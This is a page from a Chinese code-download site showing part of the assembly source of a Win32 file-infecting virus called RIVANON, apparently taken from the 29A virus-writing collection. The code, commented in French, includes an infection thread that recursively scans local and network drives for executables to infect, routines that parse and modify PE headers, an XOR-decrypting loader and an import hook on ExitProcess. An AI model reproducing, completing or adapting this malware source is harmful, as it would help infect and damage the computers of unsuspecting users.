⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 29a-7.015

📁 从29A上收集的病毒源码
💻 015
📖 第 1 页 / 共 3 页
字号:

pop eax

test_pile:
pop ebx
cmp ebx,eax
jnz fin_test_pile
inc ecx
jmp test_pile

fin_test_pile:

push ebx
mov ebx,[nbre_fct_k32_cible+ebp]
sub ebx,ecx
mov eax,[tab_adr_fct_k32_hote+4*ebx+ebp]

pushad
;on restaure la pile telle qu'elle devrait etre sans les PUSH successifs, le
;sommet de la pile sera occupe par les valeurs mises par le PUSHAD du loader

lea esi,[tampon_registre+ebp]
mov edi,esp
xor ecx,ecx
mov cl,8
rep movsd
xchg [esp+28],eax
popad
jmp eax		;fait suivre l'appel a la fonction de Kernel32 appelee


;[Fin de la determination de la fonction appelee]










;[Debut du code de la thread infectieuse]:

proc_infectieuse:

call suite
suite:
pop ebp
sub ebp,suite

mov ebx,'B:\'

faire_une_pause:
stdcall [Sleep+ebp],DUREE_PAUSE2


;[Verification de la presence du virus en memoire]:

lea edi,[signature+ebp]

stdcall [CreateMutexA+ebp],NULL,TRUE,edi
mov [handle_mutex+ebp],eax
test eax,eax
jz fin_thread

call [GetLastError+ebp]
test eax,eax
jnz fin_thread


;[Fin de la verification]




;[Debut de la recherche de programmes cibles]:

recherche_cible:


;[Debut de la determination du drive a explorer]:

cherche_drive:
mov ah,0
mov al,bl
sub al,40h
mov cl,26
div cl
mov bl,ah
add bl,41h

stdcall [GetDriveTypeA+ebp],esp,ebx
pop ecx
cmp al,DRIVE_FIXED
jz exploration_repertoire
cmp al,DRIVE_REMOTE
jnz cherche_drive

;[Fin de la determination du drive a explorer]


;[Debut de l'exploration des repertoires et sous-repertoires]:

exploration_repertoire:
pushad
                                     
repertoire_base_recherche:
stdcall [SetCurrentDirectoryA+ebp],esp,ebx
pop eax

xor esi,esi				;esi, nombre de handles dans  la pile
lea edi,[ebp+struct_recherche]

recherche_premier_repertoire:
push TOUT_FICHIER
mov eax,esp
stdcall [FindFirstFileA+ebp],eax,edi
pop ecx

inc eax
je pas_de_sous_repertoire
dec eax

mov ebx,eax

est_ce_un_repertoire:
test dword  [edi.WFD_dwFileAttributes],10h
je recherche_repertoire_suivant

lea eax, [edi.WFD_szFileName]

cmp word [eax],REPERTOIRE_COURANT
je recherche_repertoire_suivant

cmp word [eax],REPERTOIRE_PARENT
je recherche_repertoire_suivant

stdcall [SetCurrentDirectoryA+ebp],eax

RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT

push ebx
inc esi
jmp recherche_premier_repertoire

recherche_repertoire_suivant:
stdcall [FindNextFileA+ebp],ebx,edi
test eax,eax
jnz est_ce_un_repertoire

plus_de_sous_repertoire:
stdcall [FindClose+ebp],ebx

pas_de_sous_repertoire:
stdcall [SetCurrentDirectoryA+ebp],esp,REMONTE
pop eax

or esi,esi
jz fin_de_la_recherche

dec esi
pop ebx
jmp recherche_repertoire_suivant

fin_de_la_recherche:
popad


;[Fin de l'exploration]


fin_thread:
stdcall [CloseHandle+ebp],[handle_mutex+ebp]
jmp faire_une_pause

;[Fin de la recherche de programmes cibles]

;[Fin du code de la thread infectieuse]





;[Debut de la routine qui intercepte les erreurs]:

if SEH=TRUE
proc_seh:
mov esp,[esp+8]
mov ebp,[esp+8]
jmp err_infection
end if

;[Fin de la routine qui intercepte les erreurs]




;[Debut de la fonction de recopie d'une chaine de caracteres terminee par 0]:
copie_chaine:

pushad
octet_suivant:
lodsb
stosb		;meme le 0 final de la chaine est recopie
cmp al,0
jnz octet_suivant
popad
ret

;[Fin de la fonction de recopie]




;[Debut de la fonction de conversion d'une RVA en une adresse dans le fichier
;image memoire]:

rva_vers_adr_map:

pop eax
xchg eax,[esp]
pushad
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]

mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]

cherche_section_par_rva:
cmp dword [esi.SH_VirtualAddress],eax
ja rva_localise
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section_par_rva

rva_localise:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_VirtualAddress]
add eax,dword [esi.SH_PointerToRawData]
add eax,[adr_map_cible+ebp]
mov dword [esp+28],eax
popad
ret


;[Fin de la fonction de conversion d'une RVA]


;[Debut de la fonction de conversion d'une adresse dans l'image memoire
;d'un fichier en une RVA]:

adr_map_vers_rva:
pop eax
xchg eax,[esp]
pushad
sub eax,[adr_map_cible+ebp]
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]

mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]

cherche_section:
cmp dword [esi.SH_PointerToRawData],eax
ja section_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section

section_trouve:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_PointerToRawData]
add eax,dword [esi.SH_VirtualAddress]
mov dword [esp+28],eax
popad
ret

;[Fin de la fonction de conversion d'une adresse de l'image memoire
;d'un fichier]


;[Debut de la fonction d'alignement des champs taille d'une section]:

aligne:

;les champs taille de la section sur laquelle pointe esi sont alignes

pushad

mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]

;alignement memoire:

mov ebx,dword [edi.OH_SectionAlignment]
dec ebx
xor edx,edx
lea ecx,[esi.SH_VirtualSize]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax

;alignement fichier:

mov ebx,dword [edi.OH_FileAlignment]
dec ebx
lea ecx,[esi.SH_SizeOfRawData]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax
popad
ret

;[Fin de la fonction d'alignement]


;[Debut du code du loader du virus]:

debut_loader:
pushad

push 8000
push GPTR
db 0ffh,15h	;call [<adr>] appel a GlobalAlloc en fait
ptr2_adr_globalalloc dd ?
push eax
mov edi,eax
mov ecx,TAILLE_VIRUS
db 0beh		;mov esi,adr
adr_fin_derniere_sect_hote dd ?
crypt:
cld
octet_suivant_a_decrypter:
lodsb
db 34h		;xor al,value
clef db 0
stosb
loop octet_suivant_a_decrypter
exit_loader:
ret
TAILLE_LOADER=$-debut_loader

;[Fin du code du loader]

;zone de donnees qui vont etre greffees au programme cible:

seed						dd 1fac3b9dh
nbre_fct_k32_cible				dd 2
adr_image_base					dd ADR_BASE
adr_1st_thunk_avant_infection_hote		dd vrai_ID_FirstThunk_k32
rva_orig_1st_thunk_avant_infection_hote		dd RVA vrai_ID_OriginalFirstThunk_k32
index_fct_k32_altere_hote			dd 0
sz_nom_fct_k32_altere_hote			db 'ExitProcess'
rb 30
sz_nom_globalalloc				db 'GlobalAlloc',0
signature					db 'RIVANON',0
						db 'V 3.9, DrL. [TKT] June 2003'


;Les deux tables qui suivent doivent etre collees l'une a l'autre et l'ordre des elements
;de ces tables respecte.

tab_condense:

dd 0fdbe9ddfh		;CloseHandle
dd 04b00fba1h		;CreateFileA
dd 00d6ea22eh		;CreateFileMappingA
dd 0abfd70b5h		;CreateMutexA
dd 0be307c51h		;CreateThread
dd 0be7b8631h		;FindClose
dd 0c915738fh		;FindFirstFileA
dd 08851f43dh		;FindNextFileA
dd 09c3a5210h		;GetDriveTypeA
dd 091c21cb7h		;GetLastError
dd 040bf2f84h		;GetProcAddress
dd 032beddc3h		;MapViewOfFile
dd 08e0e5487h		;SetCurrentDirectoryA
dd 0bc738ae6h		;SetEndOfFile
dd 050665047h		;SetFileAttributesA
dd 06d452a3ah		;SetFilePointer
dd 09f69de76h		;SetFileTime
dd 03a00e23bh		;Sleep
dd 0fae00d65h		;UnmapViewOfFile
dd 0065f101ah		;VirtualProtect
dd 04e5de044h		;ExitThread

NBRE_FCT_K32_VIRUS=($-tab_condense)/4
TAILLE_VIRUS=$-debut_virus

TAILLE_VIRUS_ALIGNE_FICHIER=ALIGNEMENT_FICHIER_STANDARD*((TAILLE_VIRUS+\
ALIGNEMENT_FICHIER_STANDARD-1)/ALIGNEMENT_FICHIER_STANDARD)

TAILLE_VIRUS_ALIGNE_MEMOIRE=ALIGNEMENT_MEMOIRE_STANDARD*((TAILLE_VIRUS+\
ALIGNEMENT_MEMOIRE_STANDARD-1)/ALIGNEMENT_MEMOIRE_STANDARD)


;[Fin du virus]

tab_adr_fct_k32_virus:
CloseHandle								dd 0
CreateFileA								dd 0
CreateFileMappingA							dd 0
CreateMutexA								dd 0
CreateThread								dd 0
FindClose								dd 0
FindFirstFileA								dd 0
FindNextFileA								dd 0
GetDriveTypeA								dd 0
GetLastError								dd 0
GetProcAddress								dd 0
MapViewOfFile								dd 0
SetCurrentDirectoryA							dd 0
SetEndOfFile								dd 0
SetFileAttributesA							dd 0
SetFilePointer								dd 0
SetFileTime								dd 0
Sleep									dd 0
UnmapViewOfFile								dd 0
VirtualProtect								dd 0
ExitThread								dd 0


condense								dd ?
adr_map_IMAGE_OPTIONAL_HEADER_cible					dd ?
adr_map_IMAGE_SECTION_HEADER_cible					dd ?
adr_map_IMAGE_FILE_HEADER_cible						dd ?
adr_map_IMAGE_IMPORT_DESCRIPTOR_cible					dd ?
rva_IMAGE_IMPORT_DESCRIPTOR_cible					dd ?
rva_IMAGE_IMPORT_BY_NAME_cible						dd ?
adr_map_cible								dd ?
thread_id								dd ?
tampon									dd ?
handle_fichier_cible							dd ?
handle_map_cible							dd ?
handle_mutex								dd ?
nbre_octet_libre_sect_code_cible					dd ?
adr_map_espace_libre_sect_data_cible					dd ?
adr_map_espace_libre_sect_code_cible					dd ?
adr_map_1st_thunk_k32_cible						dd ?
adr_map_original_1st_thunk_k32_cible					dd ?
adr_map_loader_sect_code_cible						dd ?

struct_recherche	rb sizeof.WIN32_FIND_DATA
tampon_registre		rd 8

tab_adr_fct_k32_hote:
rd 2		;pour la generation 0









section 'idata' import data readable writeable

;IMAGE_IMPORT_DESCRIPTOR:
dd RVA ID_OriginalFirstThunk_k32,0,0,RVA ID_Name_k32,RVA ID_FirstThunk_k32
dd RVA ID_OriginalFirstThunk_u32,0,0,RVA ID_Name_u32,RVA ID_FirstThunk_u32
dd 0,0,0,0,0

ID_Name_k32	db 'KERNEL32.DLL',0
ID_Name_u32	db 'USER32.DLL',0

ID_OriginalFirstThunk_k32	dd RVA image_import_by_name_k32_00
				dd 0

ID_FirstThunk_k32:
ExitProcess			dd RVA image_import_by_name_k32_00
				dd 0


ID_OriginalFirstThunk_u32	dd RVA image_import_by_name_u32
				dd 0
ID_FirstThunk_u32:
MessageBoxA			dd RVA image_import_by_name_u32
				dd 0

;IMAGE_IMPORT_BY_NAME:
image_import_by_name_k32_00	dw 0
				db 'ExitProcess',0

image_import_by_name_k32_01	dw 0
				db 'Sleep',0


image_import_by_name_u32	dw 0
				db 'MessageBoxA',0





vrai_ID_OriginalFirstThunk_k32:
				dd RVA image_import_by_name_k32_00
				dd RVA image_import_by_name_k32_01
				dd 0
vrai_ID_FirstThunk_k32:
faux_ExitProcess		dd __ExitProcess
faux_Sleep			dd __Sleep
				dd 0

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -